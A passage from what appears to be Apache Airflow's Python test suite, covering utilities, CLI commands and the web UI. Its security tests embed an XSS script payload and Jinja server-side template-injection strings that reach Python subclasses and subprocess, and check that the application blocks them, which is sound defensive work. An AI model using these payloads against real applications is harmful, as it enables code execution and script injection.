0, 0), rt1) rt2 = round_time(datetime(2015, 1, 2), relativedelta(months=1)) self.assertEqual(datetime(2015, 1, 1, 0, 0), rt2) rt3 = round_time(datetime(2015, 9, 16, 0, 0), timedelta(1), datetime( 2015, 9, 14, 0, 0)) self.assertEqual(datetime(2015, 9, 16, 0, 0), rt3) rt4 = round_time(datetime(2015, 9, 15, 0, 0), timedelta(1), datetime( 2015, 9, 14, 0, 0)) self.assertEqual(datetime(2015, 9, 15, 0, 0), rt4) rt5 = round_time(datetime(2015, 9, 14, 0, 0), timedelta(1), datetime( 2015, 9, 14, 0, 0)) self.assertEqual(datetime(2015, 9, 14, 0, 0), rt5) rt6 = round_time(datetime(2015, 9, 13, 0, 0), timedelta(1), datetime( 2015, 9, 14, 0, 0)) self.assertEqual(datetime(2015, 9, 14, 0, 0), rt6) def test_infer_time_unit(self): self.assertEqual('minutes', infer_time_unit([130, 5400, 10])) self.assertEqual('seconds', infer_time_unit([110, 50, 10, 100])) self.assertEqual('hours', infer_time_unit([100000, 50000, 10000, 20000])) self.assertEqual('days', infer_time_unit([200000, 100000])) def test_scale_time_units(self): # use assert_almost_equal from numpy.testing since we are comparing # floating point arrays arr1 = scale_time_units([130, 5400, 10], 'minutes') assert_array_almost_equal(arr1, [2.167, 90.0, 0.167], decimal=3) arr2 = scale_time_units([110, 50, 10, 100], 'seconds') assert_array_almost_equal(arr2, [110.0, 50.0, 10.0, 100.0], decimal=3) arr3 = scale_time_units([100000, 50000, 10000, 20000], 'hours') assert_array_almost_equal(arr3, [27.778, 13.889, 2.778, 5.556], decimal=3) arr4 = scale_time_units([200000, 100000], 'days') assert_array_almost_equal(arr4, [2.315, 1.157], decimal=3) def test_bad_trigger_rule(self): with self.assertRaises(AirflowException): DummyOperator( task_id='test_bad_trigger', trigger_rule="non_existent", dag=self.dag) def test_terminate_task(self): """If a task instance's db state get deleted, it should fail""" TI = models.TaskInstance dag = self.dagbag.dags.get('test_utils') task = dag.task_dict.get('sleeps_forever') ti = TI(task=task, execution_date=DEFAULT_DATE) job = jobs.LocalTaskJob( task_instance=ti, ignore_ti_state=True, executor=SequentialExecutor()) # Running task instance asynchronously p = multiprocessing.Process(target=job.run) p.start() sleep(5) settings.engine.dispose() session = settings.Session() ti.refresh_from_db(session=session) # making sure it's actually running self.assertEqual(State.RUNNING, ti.state) ti = session.query(TI).filter_by( dag_id=task.dag_id, task_id=task.task_id, execution_date=DEFAULT_DATE ).one() # deleting the instance should result in a failure session.delete(ti) session.commit() # waiting for the async task to finish p.join() # making sure that the task ended up as failed ti.refresh_from_db(session=session) self.assertEqual(State.FAILED, ti.state) session.close() def test_task_fail_duration(self): """If a task fails, the duration should be recorded in TaskFail""" p = BashOperator( task_id='pass_sleepy', bash_command='sleep 3', dag=self.dag) f = BashOperator( task_id='fail_sleepy', bash_command='sleep 5', execution_timeout=timedelta(seconds=3), retry_delay=timedelta(seconds=0), dag=self.dag) session = settings.Session() try: p.run(start_date=DEFAULT_DATE, end_date=DEFAULT_DATE, ignore_ti_state=True) except Exception: pass try: f.run(start_date=DEFAULT_DATE, end_date=DEFAULT_DATE, ignore_ti_state=True) except Exception: pass p_fails = session.query(TaskFail).filter_by( task_id='pass_sleepy', dag_id=self.dag.dag_id, execution_date=DEFAULT_DATE).all() f_fails = session.query(TaskFail).filter_by( task_id='fail_sleepy', dag_id=self.dag.dag_id, execution_date=DEFAULT_DATE).all() self.assertEqual(0, len(p_fails)) self.assertEqual(1, len(f_fails)) self.assertGreaterEqual(sum([f.duration for f in f_fails]), 3) def test_run_command(self): if six.PY3: write = r'sys.stdout.buffer.write("\u1000foo".encode("utf8"))' else: write = r'sys.stdout.write(u"\u1000foo".encode("utf8"))' cmd = 'import sys; {0}; sys.stdout.flush()'.format(write) self.assertEqual(run_command("python -c '{0}'".format(cmd)), u'\u1000foo' if six.PY3 else 'foo') self.assertEqual(run_command('echo "foo bar"'), u'foo bar\n') self.assertRaises(AirflowConfigException, run_command, 'bash -c "exit 1"') def test_trigger_dagrun_with_execution_date(self): utc_now = timezone.utcnow() run_id = 'trig__' + utc_now.isoformat() def payload_generator(context, object): object.run_id = run_id return object task = TriggerDagRunOperator(task_id='test_trigger_dagrun_with_execution_date', trigger_dag_id='example_bash_operator', python_callable=payload_generator, execution_date=utc_now, dag=self.dag) task.run(start_date=DEFAULT_DATE, end_date=DEFAULT_DATE, ignore_ti_state=True) dag_runs = models.DagRun.find(dag_id='example_bash_operator', run_id=run_id) self.assertEqual(len(dag_runs), 1) dag_run = dag_runs[0] self.assertEqual(dag_run.execution_date, utc_now) def test_trigger_dagrun_with_str_execution_date(self): utc_now_str = timezone.utcnow().isoformat() self.assertIsInstance(utc_now_str, six.string_types) run_id = 'trig__' + utc_now_str def payload_generator(context, object): object.run_id = run_id return object task = TriggerDagRunOperator( task_id='test_trigger_dagrun_with_str_execution_date', trigger_dag_id='example_bash_operator', python_callable=payload_generator, execution_date=utc_now_str, dag=self.dag) task.run(start_date=DEFAULT_DATE, end_date=DEFAULT_DATE, ignore_ti_state=True) dag_runs = models.DagRun.find(dag_id='example_bash_operator', run_id=run_id) self.assertEqual(len(dag_runs), 1) dag_run = dag_runs[0] self.assertEqual(dag_run.execution_date.isoformat(), utc_now_str) def test_trigger_dagrun_with_templated_execution_date(self): task = TriggerDagRunOperator( task_id='test_trigger_dagrun_with_str_execution_date', trigger_dag_id='example_bash_operator', execution_date='{{ execution_date }}', dag=self.dag) self.assertTrue(isinstance(task.execution_date, six.string_types)) self.assertEqual(task.execution_date, '{{ execution_date }}') ti = TaskInstance(task=task, execution_date=DEFAULT_DATE) ti.render_templates() self.assertEqual(timezone.parse(task.execution_date), DEFAULT_DATE) def test_externally_triggered_dagrun(self): TI = models.TaskInstance # Create the dagrun between two "scheduled" execution dates of the DAG EXECUTION_DATE = DEFAULT_DATE + timedelta(days=2) EXECUTION_DS = EXECUTION_DATE.strftime('%Y-%m-%d') EXECUTION_DS_NODASH = EXECUTION_DS.replace('-', '') dag = DAG( TEST_DAG_ID, default_args=self.args, schedule_interval=timedelta(weeks=1), start_date=DEFAULT_DATE) task = DummyOperator(task_id='test_externally_triggered_dag_context', dag=dag) dag.create_dagrun(run_id=models.DagRun.id_for_date(EXECUTION_DATE), execution_date=EXECUTION_DATE, state=State.RUNNING, external_trigger=True) task.run( start_date=EXECUTION_DATE, end_date=EXECUTION_DATE) ti = TI(task=task, execution_date=EXECUTION_DATE) context = ti.get_template_context() # next_ds/prev_ds should be the execution date for manually triggered runs self.assertEqual(context['next_ds'], EXECUTION_DS) self.assertEqual(context['next_ds_nodash'], EXECUTION_DS_NODASH) self.assertEqual(context['prev_ds'], EXECUTION_DS) self.assertEqual(context['prev_ds_nodash'], EXECUTION_DS_NODASH) class CliTests(unittest.TestCase): @classmethod def setUpClass(cls): super(CliTests, cls).setUpClass() cls._cleanup() def setUp(self): super(CliTests, self).setUp() from airflow.www_rbac import app as application configuration.load_test_config() self.app, self.appbuilder = application.create_app(session=Session, testing=True) self.app.config['TESTING'] = True self.parser = cli.CLIFactory.get_parser() self.dagbag = models.DagBag(dag_folder=DEV_NULL, include_examples=True) settings.configure_orm() self.session = Session def tearDown(self): self._cleanup(session=self.session) super(CliTests, self).tearDown() @staticmethod def _cleanup(session=None): if session is None: session = Session() session.query(models.Pool).delete() session.query(models.Variable).delete() session.commit() session.close() def test_cli_list_dags(self): args = self.parser.parse_args(['list_dags', '--report']) cli.list_dags(args) def test_cli_list_dag_runs(self): cli.trigger_dag(self.parser.parse_args([ 'trigger_dag', 'example_bash_operator', ])) args = self.parser.parse_args(['list_dag_runs', 'example_bash_operator', '--no_backfill']) cli.list_dag_runs(args) def test_cli_create_user_random_password(self): args = self.parser.parse_args([ 'create_user', '-u', 'test1', '-l', 'doe', '-f', 'jon', '-e', 'jdoe@foo.com', '-r', 'Viewer', '--use_random_password' ]) cli.create_user(args) def test_cli_create_user_supplied_password(self): args = self.parser.parse_args([ 'create_user', '-u', 'test2', '-l', 'doe', '-f', 'jon', '-e', 'jdoe@apache.org', '-r', 'Viewer', '-p', 'test' ]) cli.create_user(args) def test_cli_delete_user(self): args = self.parser.parse_args([ 'create_user', '-u', 'test3', '-l', 'doe', '-f', 'jon', '-e', 'jdoe@example.com', '-r', 'Viewer', '--use_random_password' ]) cli.create_user(args) args = self.parser.parse_args([ 'delete_user', '-u', 'test3', ]) cli.delete_user(args) def test_cli_list_users(self): for i in range(0, 3): args = self.parser.parse_args([ 'create_user', '-u', 'user{}'.format(i), '-l', 'doe', '-f', 'jon', '-e', 'jdoe+{}@gmail.com'.format(i), '-r', 'Viewer', '--use_random_password' ]) cli.create_user(args) with mock.patch('sys.stdout', new_callable=six.StringIO) as mock_stdout: cli.list_users(self.parser.parse_args(['list_users'])) stdout = mock_stdout.getvalue() for i in range(0, 3): self.assertIn('user{}'.format(i), stdout) def test_cli_sync_perm(self): # test whether sync_perm cli will throw exceptions or not args = self.parser.parse_args([ 'sync_perm' ]) cli.sync_perm(args) def test_cli_list_tasks(self): for dag_id in self.dagbag.dags.keys(): args = self.parser.parse_args(['list_tasks', dag_id]) cli.list_tasks(args) args = self.parser.parse_args([ 'list_tasks', 'example_bash_operator', '--tree']) cli.list_tasks(args) @mock.patch("airflow.bin.cli.db.initdb") def test_cli_initdb(self, initdb_mock): cli.initdb(self.parser.parse_args(['initdb'])) initdb_mock.assert_called_once_with(False) @mock.patch("airflow.bin.cli.db.resetdb") def test_cli_resetdb(self, resetdb_mock): cli.resetdb(self.parser.parse_args(['resetdb', '--yes'])) resetdb_mock.assert_called_once_with(False) def test_cli_connections_list(self): with mock.patch('sys.stdout', new_callable=six.StringIO) as mock_stdout: cli.connections(self.parser.parse_args(['connections', '--list'])) stdout = mock_stdout.getvalue() conns = [[x.strip("'") for x in re.findall(r"'\w+'", line)[:2]] for ii, line in enumerate(stdout.split('\n')) if ii % 2 == 1] conns = [conn for conn in conns if len(conn) > 0] # Assert that some of the connections are present in the output as # expected: self.assertIn(['aws_default', 'aws'], conns) self.assertIn(['beeline_default', 'beeline'], conns) self.assertIn(['emr_default', 'emr'], conns) self.assertIn(['mssql_default', 'mssql'], conns) self.assertIn(['mysql_default', 'mysql'], conns) self.assertIn(['postgres_default', 'postgres'], conns) self.assertIn(['wasb_default', 'wasb'], conns) self.assertIn(['segment_default', 'segment'], conns) # Attempt to list connections with invalid cli args with mock.patch('sys.stdout', new_callable=six.StringIO) as mock_stdout: cli.connections(self.parser.parse_args( ['connections', '--list', '--conn_id=fake', '--conn_uri=fake-uri', '--conn_type=fake-type', '--conn_host=fake_host', '--conn_login=fake_login', '--conn_password=fake_password', '--conn_schema=fake_schema', '--conn_port=fake_port', '--conn_extra=fake_extra'])) stdout = mock_stdout.getvalue() # Check list attempt stdout lines = [l for l in stdout.split('\n') if len(l) > 0] self.assertListEqual(lines, [ ("\tThe following args are not compatible with the " + "--list flag: ['conn_id', 'conn_uri', 'conn_extra', " + "'conn_type', 'conn_host', 'conn_login', " + "'conn_password', 'conn_schema', 'conn_port']"), ]) def test_cli_connections_list_redirect(self): cmd = ['airflow', 'connections', '--list'] with tempfile.TemporaryFile() as fp: p = subprocess.Popen(cmd, stdout=fp) p.wait() self.assertEqual(0, p.returncode) def test_cli_connections_add_delete(self): # Add connections: uri = 'postgresql://airflow:airflow@host:5432/airflow' with mock.patch('sys.stdout', new_callable=six.StringIO) as mock_stdout: cli.connections(self.parser.parse_args( ['connections', '--add', '--conn_id=new1', '--conn_uri=%s' % uri])) cli.connections(self.parser.parse_args( ['connections', '-a', '--conn_id=new2', '--conn_uri=%s' % uri])) cli.connections(self.parser.parse_args( ['connections', '--add', '--conn_id=new3', '--conn_uri=%s' % uri, '--conn_extra', "{'extra': 'yes'}"])) cli.connections(self.parser.parse_args( ['connections', '-a', '--conn_id=new4', '--conn_uri=%s' % uri, '--conn_extra', "{'extra': 'yes'}"])) cli.connections(self.parser.parse_args( ['connections', '--add', '--conn_id=new5', '--conn_type=hive_metastore', '--conn_login=airflow', '--conn_password=airflow', '--conn_host=host', '--conn_port=9083', '--conn_schema=airflow'])) cli.connections(self.parser.parse_args( ['connections', '-a', '--conn_id=new6', '--conn_uri', "", '--conn_type=google_cloud_platform', '--conn_extra', "{'extra': 'yes'}"])) stdout = mock_stdout.getvalue() # Check addition stdout lines = [l for l in stdout.split('\n') if len(l) > 0] self.assertListEqual(lines, [ ("\tSuccessfully added `conn_id`=new1 : " + "postgresql://airflow:airflow@host:5432/airflow"), ("\tSuccessfully added `conn_id`=new2 : " + "postgresql://airflow:airflow@host:5432/airflow"), ("\tSuccessfully added `conn_id`=new3 : " + "postgresql://airflow:airflow@host:5432/airflow"), ("\tSuccessfully added `conn_id`=new4 : " + "postgresql://airflow:airflow@host:5432/airflow"), ("\tSuccessfully added `conn_id`=new5 : " + "hive_metastore://airflow:airflow@host:9083/airflow"), ("\tSuccessfully added `conn_id`=new6 : " + "google_cloud_platform://:@:") ]) # Attempt to add duplicate with mock.patch('sys.stdout', new_callable=six.StringIO) as mock_stdout: cli.connections(self.parser.parse_args( ['connections', '--add', '--conn_id=new1', '--conn_uri=%s' % uri])) stdout = mock_stdout.getvalue() # Check stdout for addition attempt lines = [l for l in stdout.split('\n') if len(l) > 0] self.assertListEqual(lines, [ "\tA connection with `conn_id`=new1 already exists", ]) # Attempt to add without providing conn_id with mock.patch('sys.stdout', new_callable=six.StringIO) as mock_stdout: cli.connections(self.parser.parse_args( ['connections', '--add', '--conn_uri=%s' % uri])) stdout = mock_stdout.getvalue() # Check stdout for addition attempt lines = [l for l in stdout.split('\n') if len(l) > 0] self.assertListEqual(lines, [ ("\tThe following args are required to add a connection:" + " ['conn_id']"), ]) # Attempt to add without providing conn_uri with mock.patch('sys.stdout', new_callable=six.StringIO) as mock_stdout: cli.connections(self.parser.parse_args( ['connections', '--add', '--conn_id=new'])) stdout = mock_stdout.getvalue() # Check stdout for addition attempt lines = [l for l in stdout.split('\n') if len(l) > 0] self.assertListEqual(lines, [ ("\tThe following args are required to add a connection:" + " ['conn_uri or conn_type']"), ]) # Prepare to add connections session = settings.Session() extra = {'new1': None, 'new2': None, 'new3': "{'extra': 'yes'}", 'new4': "{'extra': 'yes'}"} # Add connections for index in range(1, 6): conn_id = 'new%s' % index result = (session .query(Connection) .filter(Connection.conn_id == conn_id) .first()) result = (result.conn_id, result.conn_type, result.host, result.port, result.get_extra()) if conn_id in ['new1', 'new2', 'new3', 'new4']: self.assertEqual(result, (conn_id, 'postgres', 'host', 5432, extra[conn_id])) elif conn_id == 'new5': self.assertEqual(result, (conn_id, 'hive_metastore', 'host', 9083, None)) elif conn_id == 'new6': self.assertEqual(result, (conn_id, 'google_cloud_platform', None, None, "{'extra': 'yes'}")) # Delete connections with mock.patch('sys.stdout', new_callable=six.StringIO) as mock_stdout: cli.connections(self.parser.parse_args( ['connections', '--delete', '--conn_id=new1'])) cli.connections(self.parser.parse_args( ['connections', '--delete', '--conn_id=new2'])) cli.connections(self.parser.parse_args( ['connections', '--delete', '--conn_id=new3'])) cli.connections(self.parser.parse_args( ['connections', '--delete', '--conn_id=new4'])) cli.connections(self.parser.parse_args( ['connections', '--delete', '--conn_id=new5'])) cli.connections(self.parser.parse_args( ['connections', '--delete', '--conn_id=new6'])) stdout = mock_stdout.getvalue() # Check deletion stdout lines = [l for l in stdout.split('\n') if len(l) > 0] self.assertListEqual(lines, [ "\tSuccessfully deleted `conn_id`=new1", "\tSuccessfully deleted `conn_id`=new2", "\tSuccessfully deleted `conn_id`=new3", "\tSuccessfully deleted `conn_id`=new4", "\tSuccessfully deleted `conn_id`=new5", "\tSuccessfully deleted `conn_id`=new6" ]) # Check deletions for index in range(1, 7): conn_id = 'new%s' % index result = (session.query(Connection) .filter(Connection.conn_id == conn_id) .first()) self.assertTrue(result is None) # Attempt to delete a non-existing connnection with mock.patch('sys.stdout', new_callable=six.StringIO) as mock_stdout: cli.connections(self.parser.parse_args( ['connections', '--delete', '--conn_id=fake'])) stdout = mock_stdout.getvalue() # Check deletion attempt stdout lines = [l for l in stdout.split('\n') if len(l) > 0] self.assertListEqual(lines, [ "\tDid not find a connection with `conn_id`=fake", ]) # Attempt to delete with invalid cli args with mock.patch('sys.stdout', new_callable=six.StringIO) as mock_stdout: cli.connections(self.parser.parse_args( ['connections', '--delete', '--conn_id=fake', '--conn_uri=%s' % uri, '--conn_type=fake-type'])) stdout = mock_stdout.getvalue() # Check deletion attempt stdout lines = [l for l in stdout.split('\n') if len(l) > 0] self.assertListEqual(lines, [ ("\tThe following args are not compatible with the " + "--delete flag: ['conn_uri', 'conn_type']"), ]) session.close() def test_cli_test(self): cli.test(self.parser.parse_args([ 'test', 'example_bash_operator', 'runme_0', DEFAULT_DATE.isoformat()])) cli.test(self.parser.parse_args([ 'test', 'example_bash_operator', 'runme_0', '--dry_run', DEFAULT_DATE.isoformat()])) def test_cli_test_with_params(self): cli.test(self.parser.parse_args([ 'test', 'example_passing_params_via_test_command', 'run_this', '-tp', '{"foo":"bar"}', DEFAULT_DATE.isoformat()])) cli.test(self.parser.parse_args([ 'test', 'example_passing_params_via_test_command', 'also_run_this', '-tp', '{"foo":"bar"}', DEFAULT_DATE.isoformat()])) def test_cli_run(self): cli.run(self.parser.parse_args([ 'run', 'example_bash_operator', 'runme_0', '-l', DEFAULT_DATE.isoformat()])) def test_task_state(self): cli.task_state(self.parser.parse_args([ 'task_state', 'example_bash_operator', 'runme_0', DEFAULT_DATE.isoformat()])) def test_dag_state(self): self.assertEqual(None, cli.dag_state(self.parser.parse_args([ 'dag_state', 'example_bash_operator', DEFAULT_DATE.isoformat()]))) def test_pause(self): args = self.parser.parse_args([ 'pause', 'example_bash_operator']) cli.pause(args) self.assertIn(self.dagbag.dags['example_bash_operator'].is_paused, [True, 1]) args = self.parser.parse_args([ 'unpause', 'example_bash_operator']) cli.unpause(args) self.assertIn(self.dagbag.dags['example_bash_operator'].is_paused, [False, 0]) def test_subdag_clear(self): args = self.parser.parse_args([ 'clear', 'example_subdag_operator', '--no_confirm']) cli.clear(args) args = self.parser.parse_args([ 'clear', 'example_subdag_operator', '--no_confirm', '--exclude_subdags']) cli.clear(args) def test_parentdag_downstream_clear(self): args = self.parser.parse_args([ 'clear', 'example_subdag_operator.section-1', '--no_confirm']) cli.clear(args) args = self.parser.parse_args([ 'clear', 'example_subdag_operator.section-1', '--no_confirm', '--exclude_parentdag']) cli.clear(args) def test_get_dags(self): dags = cli.get_dags(self.parser.parse_args(['clear', 'example_subdag_operator', '-c'])) self.assertEqual(len(dags), 1) dags = cli.get_dags(self.parser.parse_args(['clear', 'subdag', '-dx', '-c'])) self.assertGreater(len(dags), 1) with self.assertRaises(AirflowException): cli.get_dags(self.parser.parse_args(['clear', 'foobar', '-dx', '-c'])) def test_backfill(self): cli.backfill(self.parser.parse_args([ 'backfill', 'example_bash_operator', '-s', DEFAULT_DATE.isoformat()])) cli.backfill(self.parser.parse_args([ 'backfill', 'example_bash_operator', '-t', 'runme_0', '--dry_run', '-s', DEFAULT_DATE.isoformat()])) cli.backfill(self.parser.parse_args([ 'backfill', 'example_bash_operator', '--dry_run', '-s', DEFAULT_DATE.isoformat()])) cli.backfill(self.parser.parse_args([ 'backfill', 'example_bash_operator', '-l', '-s', DEFAULT_DATE.isoformat()])) def test_process_subdir_path_with_placeholder(self): self.assertEqual(os.path.join(settings.DAGS_FOLDER, 'abc'), cli.process_subdir('DAGS_FOLDER/abc')) def test_trigger_dag(self): cli.trigger_dag(self.parser.parse_args([ 'trigger_dag', 'example_bash_operator', '-c', '{"foo": "bar"}'])) self.assertRaises( ValueError, cli.trigger_dag, self.parser.parse_args([ 'trigger_dag', 'example_bash_operator', '--run_id', 'trigger_dag_xxx', '-c', 'NOT JSON']) ) def test_delete_dag(self): DM = models.DagModel key = "my_dag_id" session = settings.Session() session.add(DM(dag_id=key)) session.commit() cli.delete_dag(self.parser.parse_args([ 'delete_dag', key, '--yes'])) self.assertEqual(session.query(DM).filter_by(dag_id=key).count(), 0) self.assertRaises( AirflowException, cli.delete_dag, self.parser.parse_args([ 'delete_dag', 'does_not_exist_dag', '--yes']) ) def test_pool_create(self): cli.pool(self.parser.parse_args(['pool', '-s', 'foo', '1', 'test'])) self.assertEqual(self.session.query(models.Pool).count(), 1) def test_pool_get(self): cli.pool(self.parser.parse_args(['pool', '-s', 'foo', '1', 'test'])) try: cli.pool(self.parser.parse_args(['pool', '-g', 'foo'])) except Exception as e: self.fail("The 'pool -g foo' command raised unexpectedly: %s" % e) def test_pool_delete(self): cli.pool(self.parser.parse_args(['pool', '-s', 'foo', '1', 'test'])) cli.pool(self.parser.parse_args(['pool', '-x', 'foo'])) self.assertEqual(self.session.query(models.Pool).count(), 0) def test_pool_no_args(self): try: cli.pool(self.parser.parse_args(['pool'])) except Exception as e: self.fail("The 'pool' command raised unexpectedly: %s" % e) def test_pool_import_export(self): # Create two pools first pool_config_input = { "foo": { "description": "foo_test", "slots": 1 }, "baz": { "description": "baz_test", "slots": 2 } } with open('pools_import.json', mode='w') as f: json.dump(pool_config_input, f) # Import json try: cli.pool(self.parser.parse_args(['pool', '-i', 'pools_import.json'])) except Exception as e: self.fail("The 'pool -i pools_import.json' failed: %s" % e) # Export json try: cli.pool(self.parser.parse_args(['pool', '-e', 'pools_export.json'])) except Exception as e: self.fail("The 'pool -e pools_export.json' failed: %s" % e) with open('pools_export.json', mode='r') as f: pool_config_output = json.load(f) self.assertEqual( pool_config_input, pool_config_output, "Input and output pool files are not same") os.remove('pools_import.json') os.remove('pools_export.json') def test_variables(self): # Checks if all subcommands are properly received cli.variables(self.parser.parse_args([ 'variables', '-s', 'foo', '{"foo":"bar"}'])) cli.variables(self.parser.parse_args([ 'variables', '-g', 'foo'])) cli.variables(self.parser.parse_args([ 'variables', '-g', 'baz', '-d', 'bar'])) cli.variables(self.parser.parse_args([ 'variables'])) cli.variables(self.parser.parse_args([ 'variables', '-x', 'bar'])) cli.variables(self.parser.parse_args([ 'variables', '-i', DEV_NULL])) cli.variables(self.parser.parse_args([ 'variables', '-e', DEV_NULL])) cli.variables(self.parser.parse_args([ 'variables', '-s', 'bar', 'original'])) # First export cli.variables(self.parser.parse_args([ 'variables', '-e', 'variables1.json'])) first_exp = open('variables1.json', 'r') cli.variables(self.parser.parse_args([ 'variables', '-s', 'bar', 'updated'])) cli.variables(self.parser.parse_args([ 'variables', '-s', 'foo', '{"foo":"oops"}'])) cli.variables(self.parser.parse_args([ 'variables', '-x', 'foo'])) # First import cli.variables(self.parser.parse_args([ 'variables', '-i', 'variables1.json'])) self.assertEqual('original', models.Variable.get('bar')) self.assertEqual('{"foo": "bar"}', models.Variable.get('foo')) # Second export cli.variables(self.parser.parse_args([ 'variables', '-e', 'variables2.json'])) second_exp = open('variables2.json', 'r') self.assertEqual(first_exp.read(), second_exp.read()) second_exp.close() first_exp.close() # Second import cli.variables(self.parser.parse_args([ 'variables', '-i', 'variables2.json'])) self.assertEqual('original', models.Variable.get('bar')) self.assertEqual('{"foo": "bar"}', models.Variable.get('foo')) os.remove('variables1.json') os.remove('variables2.json') def _wait_pidfile(self, pidfile): while True: try: with open(pidfile) as f: return int(f.read()) except Exception: sleep(1) def test_cli_webserver_foreground(self): # Confirm that webserver hasn't been launched. # pgrep returns exit status 1 if no process matched. self.assertEqual(1, subprocess.Popen(["pgrep", "-c", "airflow"]).wait()) self.assertEqual(1, subprocess.Popen(["pgrep", "-c", "gunicorn"]).wait()) # Run webserver in foreground and terminate it. p = subprocess.Popen(["airflow", "webserver"]) p.terminate() p.wait() # Assert that no process remains. self.assertEqual(1, subprocess.Popen(["pgrep", "-c", "airflow"]).wait()) self.assertEqual(1, subprocess.Popen(["pgrep", "-c", "gunicorn"]).wait()) @unittest.skipIf("TRAVIS" in os.environ and bool(os.environ["TRAVIS"]), "Skipping test due to lack of required file permission") def test_cli_webserver_foreground_with_pid(self): # Run webserver in foreground with --pid option pidfile = tempfile.mkstemp()[1] p = subprocess.Popen(["airflow", "webserver", "--pid", pidfile]) # Check the file specified by --pid option exists self._wait_pidfile(pidfile) # Terminate webserver p.terminate() p.wait() @unittest.skipIf("TRAVIS" in os.environ and bool(os.environ["TRAVIS"]), "Skipping test due to lack of required file permission") def test_cli_webserver_background(self): import psutil # Confirm that webserver hasn't been launched. self.assertEqual(1, subprocess.Popen(["pgrep", "-c", "airflow"]).wait()) self.assertEqual(1, subprocess.Popen(["pgrep", "-c", "gunicorn"]).wait()) # Run webserver in background. subprocess.Popen(["airflow", "webserver", "-D"]) pidfile = cli.setup_locations("webserver")[0] self._wait_pidfile(pidfile) # Assert that gunicorn and its monitor are launched. self.assertEqual(0, subprocess.Popen(["pgrep", "-c", "airflow"]).wait()) self.assertEqual(0, subprocess.Popen(["pgrep", "-c", "gunicorn"]).wait()) # Terminate monitor process. pidfile = cli.setup_locations("webserver-monitor")[0] pid = self._wait_pidfile(pidfile) p = psutil.Process(pid) p.terminate() p.wait() # Assert that no process remains. self.assertEqual(1, subprocess.Popen(["pgrep", "-c", "airflow"]).wait()) self.assertEqual(1, subprocess.Popen(["pgrep", "-c", "gunicorn"]).wait()) # Patch for causing webserver timeout @mock.patch("airflow.bin.cli.get_num_workers_running", return_value=0) def test_cli_webserver_shutdown_when_gunicorn_master_is_killed(self, _): # Shorten timeout so that this test doesn't take too long time configuration.conf.set("webserver", "web_server_master_timeout", "10") args = self.parser.parse_args(['webserver']) with self.assertRaises(SystemExit) as e: cli.webserver(args) self.assertEqual(e.exception.code, 1) class SecurityTests(unittest.TestCase): def setUp(self): configuration.load_test_config() configuration.conf.set("webserver", "authenticate", "False") configuration.conf.set("webserver", "expose_config", "True") app = application.create_app() app.config['TESTING'] = True self.app = app.test_client() self.dagbag = models.DagBag( dag_folder=DEV_NULL, include_examples=True) self.dag_bash = self.dagbag.dags['example_bash_operator'] self.runme_0 = self.dag_bash.get_task('runme_0') def get_csrf(self, response): tree = BeautifulSoup(response.data, 'html.parser') return tree.find('input', attrs={'name': '_csrf_token'})['value'] def test_csrf_rejection(self): endpoints = ([ "/admin/queryview/", "/admin/airflow/paused?dag_id=example_python_operator&is_paused=false", ]) for endpoint in endpoints: response = self.app.post(endpoint) self.assertIn('CSRF token is missing', response.data.decode('utf-8')) def test_csrf_acceptance(self): response = self.app.get("/admin/queryview/") csrf = self.get_csrf(response) response = self.app.post("/admin/queryview/", data=dict(csrf_token=csrf)) self.assertEqual(200, response.status_code) def test_xss(self): try: self.app.get("/admin/airflow/tree?dag_id=<script>alert(123456)</script>") except Exception: # exception is expected here since dag doesnt exist pass response = self.app.get("/admin/log", follow_redirects=True) self.assertNotIn("<script>alert(123456)</script>", response.data.decode('UTF-8')) def test_chart_data_template(self): """Protect chart_data from being able to do RCE.""" session = settings.Session() Chart = models.Chart chart1 = Chart( label='insecure_chart', conn_id='airflow_db', chart_type='bar', sql="SELECT {{ ''.__class__.__mro__[1].__subclasses__() }}" ) chart2 = Chart( label="{{ ''.__class__.__mro__[1].__subclasses__() }}", conn_id='airflow_db', chart_type='bar', sql="SELECT 1" ) chart3 = Chart( label="{{ subprocess.check_output('ls') }}", conn_id='airflow_db', chart_type='bar', sql="SELECT 1" ) session.add(chart1) session.add(chart2) session.add(chart3) session.commit() chart1 = session.query(Chart).filter(Chart.label == 'insecure_chart').first() with self.assertRaises(SecurityError): self.app.get("/admin/airflow/chart_data?chart_id={}".format(chart1.id)) chart2 = session.query(Chart).filter( Chart.label == "{{ ''.__class__.__mro__[1].__subclasses__() }}" ).first() with self.assertRaises(SecurityError): self.app.get("/admin/airflow/chart_data?chart_id={}".format(chart2.id)) chart3 = session.query(Chart).filter( Chart.label == "{{ subprocess.check_output('ls') }}" ).first() with self.assertRaises(UndefinedError): self.app.get("/admin/airflow/chart_data?chart_id={}".format(chart3.id)) def tearDown(self): configuration.conf.set("webserver", "expose_config", "False") self.dag_bash.clear(start_date=DEFAULT_DATE, end_date=timezone.utcnow()) class WebUiTests(unittest.TestCase): def setUp(self): configuration.load_test_config() configuration.conf.set("webserver", "authenticate", "False") configuration.conf.set("webserver", "expose_config", "True") app = application.create_app() app.config['TESTING'] = True app.config['WTF_CSRF_METHODS'] = [] self.app = app.test_client() self.dagbag = models.DagBag(include_examples=True) self.dag_bash = self.dagbag.dags['example_bash_operator'] self.dag_python = self.dagbag.dags['example_python_operator'] self.sub_dag = self.dagbag.dags['example_subdag_operator'] self.runme_0 = self.dag_bash.get_task('runme_0') self.example_xcom = self.dagbag.dags['example_xcom'] self.dagrun_python = self.dag_python.create_dagrun( run_id="test_{}".format(models.DagRun.id_for_date(timezone.utcnow())), execution_date=EXAMPLE_DAG_DEFAULT_DATE, start_date=timezone.utcnow(), state=State.RUNNING ) self.sub_dag.create_dagrun( run_id="test_{}".format(models.DagRun.id_for_date(timezone.utcnow())), execution_date=EXAMPLE_DAG_DEFAULT_DATE, start_date=timezone.utcnow(), state=State.RUNNING ) self.example_xcom.create_dagrun( run_id="test_{}".format(models.DagRun.id_for_date(timezone.utcnow())), execution_date=EXAMPLE_DAG_DEFAULT_DATE, start_date=timezone.utcnow(), state=State.RUNNING ) def test_index(self): response = self.app.get('/', follow_redirects=True) resp_html = response.data.decode('utf-8') self.assertIn("DAGs", resp_html) self.assertIn("example_bash_operator", resp_html) # The HTML should contain data for the last-run. A link to the specific run, # and the text of the date. url = "/admin/airflow/graph?" + urlencode({ "dag_id": self.dag_python.dag_id, "execution_date": self.dagrun_python.execution_date, }).replace("&", "&amp;") self.assertIn(url, resp_html) self.assertIn( self.dagrun_python.execution_date.strftime("%Y-%m-%d %H:%M"), resp_html) def test_query(self): response = self.app.get('/admin/queryview/') self.assertIn("Ad 